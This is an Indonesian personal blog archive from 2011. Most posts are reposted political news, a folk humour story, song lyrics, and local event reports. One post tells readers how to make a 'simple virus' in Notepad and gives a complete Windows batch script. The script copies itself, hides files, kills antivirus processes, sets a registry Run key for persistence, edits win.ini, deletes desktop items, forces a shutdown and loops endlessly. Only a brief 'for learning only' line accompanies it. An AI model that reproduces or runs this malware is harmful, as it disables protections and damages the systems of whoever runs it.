Oleh: Hendra | 28 Desember 2011

Dalang Hamuk

example2

Pas malam panutupan karasminan tujuh belasan di kampung Palui, acaranya di isi lawan bawayang. Maka camat baistilah manyiwa buhan pawayangan matan Barikin nang tarkanal. Amun sudah wayang, Palui wan kakawanannya pasti paling basumangat manuntun.

“Amun aku pasti kada katinggalan, tapi nang ngalihnya anakku handak jua umpat malihat,” ujar Garbus pina sakit hati mambawa anak.

“Nah iya am, sakalinya sama kita bus ai. Anakku batangsa jua handak umpat,” ujar Palui.

“Baarti bubuhan anak kita bajanjian matan sakulahan,” ujar Tulamak.

“Kanapa jadi ikam tahu mak?” ujar Garbus manakuni Tulamak.

“Anakku batagih umpat jua, nang ngalih tu kita kada kawa bagadang,” ujar Tulamak

“Kita bawa haja Mak ai mun kaya itu, biar inya bakawanan sampai inya mauk surangan. Bila mangantuk antar bulik,” ujar Palui manangahi.

Malamnya Palui, Tulamak wan Garbus tulakan manuntun, tapaksa masing-masing mambawa anak. Sampai di  lapangan wayah bubuhannya manuntun, nang anak bamainan.

Biasanya imbah tangah malam puncaknya, pas rahatan raramiannya pandawa lawan kurawa bakalahi. Kaluar tu pang sagala macam sanjata tamasuk pasukan samar umpat jua bakalahi. Tapi kanapakah malam ini hanyar jam sapuluh dalang Su Idar sudah hamuk banar.

“Awas bubuhan ikam lah, limbah bulik kaena kupukuli!” ujar dalang Su Idar hamuk sambil mandalang. Bagarak kasana kamari wayangnya.

“Hau, kanapa kisahnya jadi kaya ini?” ujar Palui bingung.

Baca Lanjutannya…

Iklan
Oleh: Hendra | 24 September 2011

Ki Dalang Kesurupan Wayang

Tadi malam, tepatnya Di Buntok, Barito Selatan mengadakan pagelaran wayang yang didalangi oleh Ki Wowos Subandono. Dengan diguyur hujannya penonton yang antusias pada malam tadi membuat dalangnya lupa akan kondisi wayangnya sendiri yang  tidak keadaan fit tapi dengan semangat penonton yang atusias ingin  penyaksikannya, membuat dalang kesurupan memainkan wayang-wayangnya hingga melampaui batas kemampuan wayangnya. Semua wayangnya kesurupan hinggga mengakibatkan cidera dan luka-luka. Penontonnya juga ikut kesurupan dengan teriakkan histeris dan tepuk tangan mereka seakan menyukai pertunjukkan itu. Respon penonton sangatlah meriah sejak dalang dan sinden berinteraksi dengan penonton.

Slideshow ini membutuhkan JavaScript.

Ma’af saya tidak biasa melanjutkan menonton pagelaran wayangnya sampai selasai karena sudah ngantuk dan esok saya harus beraktifitas seperti biasa, maklum esok masih hari kerja. Sekian dulu.

Zzzzzzzzzz……zzzzzzzz…….zzzzzzzzzzz……..zzzzz……….

Oleh: Hendra | 6 September 2011

DARAH JUANG

Lirik lagu Marjinal Darah Juang

Disini negri kami
Tempat padi terhampar
Samudranya kaya raya
Tanah kami subur tuhan
Dinegri permai ini
Berjuta rakyat bersimbah luka
Anak buruh tak sekolah
Pemuda desa tak kerja
Mereka dirampas haknya
Tergusur dan lapar
Bunda relakan darah juang kami
Tuk membabaskan rakyat
Padamu kami berjanji

download mp3

Oleh: Hendra | 11 Agustus 2011

Nunun Nurbaeti Masih Dicari

Foto Nunun Nurbaeti yang berstatus buron di laman Interpol.
jpnn.com, JAKARTA — Melalui koordinasi singkat dengan Interpol, Mabes Polri memastikan bahwa Nazarudin berhasil terdeteksi dan tertangkap di Cartagena, Kolombia Minggu (7/8) dini hari lalu. Namun ternyata sigapnya koordinasi Polri dengan Interpol dalam kasus Nazaruddin, tidak sama dengan kasus Nunun Nurbaeti yang juga jadi buronan.

Pasalnya, Nunun yang sudah ditetapkan sebagai tersnagka suap oleh KPK dan kini menjadi buronan Interpol itu tak kunjung tertangkap. Bahkan Nunun jauh-jauh hari sudah menyandang status buronan Interpol ketimbang NAzaruddin.

Apakah ini karena Nunun merupakan istri mantan Wakapolri Adang Daradjatun? Mabes Polri menegaskan bahwa tidak ada pembedaan penanganan antara kasus Nunun dengan Nazaruddin.

“Sama-sama dicari, tidak ada bedanya. Tapi (Nunun) belum ketemu,” ujar Kadiv Humas Polri, Irjen (pol) Anton Bachrul Alam di Mabes Polri Jakarta, Rabu (10/8).

Menurutnya, Mabes Polri tak hanya mengejar Nunun. Sebab, Polri juga telah mengirim tim untuk memburu para tersangka korupsi lainnya yang kini bersembunyi di sejumlah negara lain.

Melalui koordinasi dengan Interpol, kata Anton, pencarian itu terus dilakukan. “Sudah ada (tim pemburu). Sudah berangkat,’’ tambahnya.

Sebelumnya, pada Juni lalu KPK telah meminta permohonan Interpol Red Notice ke Mabes Polri. Permohonan KPK itu kemudian diteruskan ke Interpol, agar memburu Nunun yang kini diyakini bersembunyi di luar negeri.

Seperti diketahui, KPK telah menetapkan Nunun sebagai tersangka suap sejak Febuari lalu. Mantan anggota Komisi Penyelidik Kekayaan Pejabat/Penyelenggara Negara (KPKPN) itu disebut sebagai penyuap pada pemilihan Deputi Gubernur Senior Bank Indonesia yang dimenangi Miranda S Goeltom.

Namun penyidik KPK tidak bisa memeriksa Nunun karena sudah jauh-jauh hari berada di luar negeri dengan alasan berobat. Nunun dikabarkan tinggal di Singapura dan disebut kerap berpindah-pindah ke beberapa negara di Asia Tenggara.(zul/jpnn)

Oleh: Hendra | 1 Juni 2011

Permasalahan Biaya Pulsa DPR

Rp151 Miliar hanya untuk Biaya Pulsa DPR

Liputan6.com, Jakarta: Sekretariat Jenderal DPR menyatakan tidak benar adanya anggaran untuk isi pulsa anggota Dewan, namun yang ada yaitu biaya langganan pulsa untuk SMS gateway sebesar Rp96 juta.

“Tidak benar ada anggaran untuk pulsa seperti yang disampaikan oleh LSM Fitra, anggaran sebesar Rp96 juta tersebut diperuntukkan untuk menyampaikan informasi dan pemberitahuan kegiatan rapat-rapat Dewan,” kata Kepala Biro Perencanaan dan Pengawasan Adil Rusli saat diminta tanggapannya soal anggaran uang isi pulsa di Gedung DPR, Rabu (12/5).

Hal senada disampaikan Kepala Pusat Pengkajian Pengelolaan data dan Informasi (P3DI) DPR RI Damayanti. Dia mengatakan SMS gateway bertujuan memberikan undangan atau informasi perihal agenda persidangan rapat-rapat DPR RI, bukan diperuntukkan untuk SMS pribadi maupun anggaran pulsa. “Pemberitahuan keseluruhan mengenai kegiatan dewan dan anggaran setahun itu Rp96 juta, namun sampai sejauh ini dari bulan Januari-April, anggaran baru terserap sebesar Rp 15.254.458,” katanya.

Baca Lanjutannya…

Oleh: Hendra | 6 Mei 2011

membuat virus sederhana melalui notepad

Sudah lama nih saya ga posting karena banyak kesibukan saya yang berturut-turut dan banyak tugas-tugas yang harus diselesaikan. Dan saya merasa kangen nih sama sobat-sobat blogger. Nah, kali ini saya ingin berbagi sama sobat-sobat blogger walau pun sedikit melenceng dari biasanya, hehee..

Kita bisa bikin virus yang sederhana melalui notepad. Sobat Cuma copy aza scribe di bawah ini ke dalam notepad dan setelah itu save deng an ekstensi  *.bat ( cotoh: virus sederhana.bat ).

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

@ECHO OFF
copy %0 %systemroot%\Morphix.bat > nul
copy %0 *.bat > nul
Attrib +h *.bat
cls
tskill AVGUARD
tskill AVGNT
tskill NMAIN
tskill KAV
tskill ad-aware
tskill av*
tskill PCMAV
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Mophix /t REG_SZ /d %systemroot%\Morphix.bat /f > nul
cls
echo [windows] >> %systemroot%\win.ini
echo load=%systemroot%\Morphix.bat >> %systemroot%\win.ini
echo run=%systemroot%\Morphix.bat >> %systemroot%\win.ini
Attrib +h %systemroot%\win.ini
del C:\docume~\owner\Desktop
shutdown -s -t 15
msg * ”not responding, shutdown please”
cls
:Morphix
start %0
goto Morphix

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

Kira-kira virus batch ini beken pada tahun 90-an tapi sekarang ini jarang di temukan berkeliaran. saya minta ma’af karena masih banyak lagi kekurangannya blog & postingan saya.

terima kasih banyak sudah berkunjung. semoga bermanfaat.

*DILARANG KERAS MENYALAH GUNAKAN SCRIBE INI karena ini hanya bertujuan sebagai pembelajaran saja

Oleh: Hendra | 25 Maret 2011

IPW: Vonis Susno Kompromi Politik

JAKARTA, KOMPAS.com — Ketua Indonesia Police Watch (IPW) Netta S Pane menilai, vonis 3,5 tahun yang dijatuhkan majelis hakim PN Jakarta Selatan kepada mantan Kabareskrim Komjen Susno Duadji merupakan kompromi politik. Dalam pantauannya, banyak fakta persidangan yang menguntungkan Susno tak dijadikan dasar putusan yang dibacakan dalam persidangan di PN Jakarta Selatan, Kamis (24/3/2011) malam.

“Kita sangat menyayangkan vonis itu karena tidak melihat realitas sosial dan politik bahwa Susno sudah diterima kembali oleh institusinya. Kami memahami putusan ini sebagai suatu kompromi politik,” kata Netta saat dihubungi Kompas.com, malam ini.

Kompromi politik yang dimaksudnya adalah “menyelamatkan” wajah kepolisian dan kejaksaan. “Hakim tidak mau kehilangan muka, juga tidak mau membuat kejaksaan dan Polri kehilangan muka. Jadi komprominya ya 3,5 tahun itu, angka yang setengah lebih dari tuntutan jaksa,” kata dia.

Ia berharap, seluruh fakta persidangan dapat dijadikan pertimbangan oleh Pengadilan Tinggi dalam memproses banding. Seperti diketahui, Susno langsung mengajukan dan mendaftarkan banding atas vonis yang dijatuhkan hakim.

“Dengan tidak adanya instruksi penahanan terhadap Susno semakin menguatkan bahwa vonis ini hanya kompromi,” tegas Netta.

Susno Duadji dinyatakan hakim terbukti menerima suap Rp 500 juta dari Haposan Hutagalung melalui Sjahril Djohan dalam penanganan perkara PT Salmah Arowana Lestari. Susno juga terbukti menyalahgunakan wewenang saat menjabat Kepala Polda Jabar dengan memerintahkan pemotongan dana pengamanan Pemilihan Kepala Daerah Jawa Barat pada 2008 untuk penggunaan yang tidak semestinya. Majelis hakim menilai, perbuatannya tersebut merugikan negara Rp 8,1 miliar.

“Terbukti melakukan pemotongan dana dan setelah terkumpul tidak digunakan untuk pengamanan pilkada, tapi pembelian valuta asing, Camry sebagai mobil dinas, atensi Kapolda Jabar dan pejabat Polda,” ujar anggota majelis hakim, Samsudin.

Susno terbukti melanggar Pasal 11 jo Pasal 18 Undang-Undang tentang Pemberantasan Tindak Pidana Korupsi dan Pasal 3 jo Pasal 18 dalam undang-undang yang sama. Adapun hal-hal yang meringankan, Susno mengungkap adanya penyimpangan di Mabes Polri dan berada dalam perlindungan Lembaga Perlindungan Saksi dan Korban (LPSK).

“Terdakwa telah mengabdi kepada negara selama 34 tahun,” kata Charis.

Sementara hal-hal yang memberatkan, Susno telah merugikan keuangan negara dan tidak memberi contoh yang baik kepada masyarakat sebagai penegak hukum. Vonis terhadap Susno lebih rendah dari tuntutan jaksa penuntut umum yang menuntut Susno 7 tahun penjara dengan denda Rp 500 juta.

Oleh: Hendra | 14 Februari 2011

Para Pendemo Lempar Koin ke Arah Istana

Okezone, JAKARTA – Keluhan Presiden Susilo Bambang Yudhoyono (SBY) soal gajinya yang tidak naik selama 7 tahun, terus menuai reaksi. Kecamatan kali ini muncul dari sekelompok orang yang menamakan dirinya aliansi koin untuk pembohong. Mereka beramai-ramai melemparkan koin ke arah Istana.
Selain koin Rp100 yang dilemparkan ke arah Istana, salah satu pendemo juga membawa koin tiruan dari bahan gabus yang akan diserahkan secara simbolis kepada Presiden. Peserta lainnya membentangkan spanduk bertuliskan “Rakyat Tak Butuh Presiden Bermental Kuli”.
Koordinator aksi, Yosep Rizal mengkritik rencana presiden yang akan memidakan para pengumpul dan penyumbang koin. Hal ini dinilai Yosep menunjukan kekerdilan kepempimpinan SBY dalam menyikapi kritik dan aspirasi masyarakat.
“Kita tidak membutuhkan kepemimpinan yang bermental kuli yang hanya teriak masalah gaji. Yang dibutuhkan rakyat adalah pemimpin sejati yang dengan tegas, biarlah saya lapar yang penting rakyat sejahtera,” jelas Yosep, Senin (7/2/2011).
Kepemimpinan SBY, menurut dia, lebih mementingkan dirinya sendiri dibanding mengedepankan prestasi dalam menyejahterakan rakyat.

“Pantas enggak orang seperti itu dibiarkan terus memimpin, sementara rakyat makin banyak yang mati kelaparan dan bunuh diri,” teriak demonstran.

Oleh: Hendra | 2 Februari 2011

Gejolak Mesir Tak Akan Terjadi di Indonesia

Helikopter aparat memantau Kota Kairo (Foto: reuters)okezone, JAKARTA – Ketua Umum PP Muhammadiyah, Din Syamsuddin menilai gejolak yang terjadi di Mesir tidak akan terjadi di Indonesia. Pasalnya pemberontakan warga Mesir terjadi karena kepemimpinan otoriter Presiden Hosni Mubarak.
“Yang dihadapi di Mesir saat ini sama dengan yang kita hadapi pada era reformasi di tahun 1998. Tapi, kejadian di Mesir ini konteksnya berbeda dan sulit terjadi lagi di Indonesia. Ini karena kemiskinan yang sudah merajalela,” kata Din Syamsudin usai menghadiri HUT Nasional Demokrat di Senayan, Jakarta, Selasa (1/2/2011) malam.
Menurut Din, aksi demonstrasi besar-besaran di Mesir karena banyaknya praktik ketidakadilan di masyarakat. Apalagi, pemerintahan di Mesir terkenal otoriter dan gagal menyejahterahkan masyarakat karena praktik korupsi.
Din menambahkan, gejolak di Mesir menjadi pelajaran pemimpin di dunia dimana rakyat merupakan pemegang kekuasaan sebenarnya. “Kejadian di Mesir dan Tunisia ini menjadi pelajaran bagi rezim yang berkuasa agar tidak bermain-main dengan kekuasaan,” katanya.

Forumborneo ikut ambil bagian dalam acara temu OSIS yang di tuan rumahi oleh  SMAN 1 Tamiang Layang. Dan di dukung oleh blogger-bloger seperti  Pak Budi, Pak Bayu, Pak Akhta, Pak Zarot, Mas Roby, Pak Ngatirin, Mas Reza, Bu Siti, Mas Yoyon, Mas Jamal, Mas Bri dan masih banyak lagi blogger-blogger yang ikut berpartisipasi.

Disana terlihat anak-anak SMA yang sangat bersemangat dalam bertanding. Walau teriknya panas, semangat mereka terus berkobar dalam menjalankan pertandingan. Pertandingan sangat sengit antar dua belah pihak, persiapan-persiapan pun telah matang  diperhitungkan dan taktik-taktik pun terus dilancarkan kepada lawan yang dihadapi.

Suara-suara sporter pun antusias bersorak memberi semangat kepada tim kebanggaan mereka masing-masing.

Slideshow ini membutuhkan JavaScript.


« Newer Posts - Older Posts »

Kategori

%d blogger menyukai ini: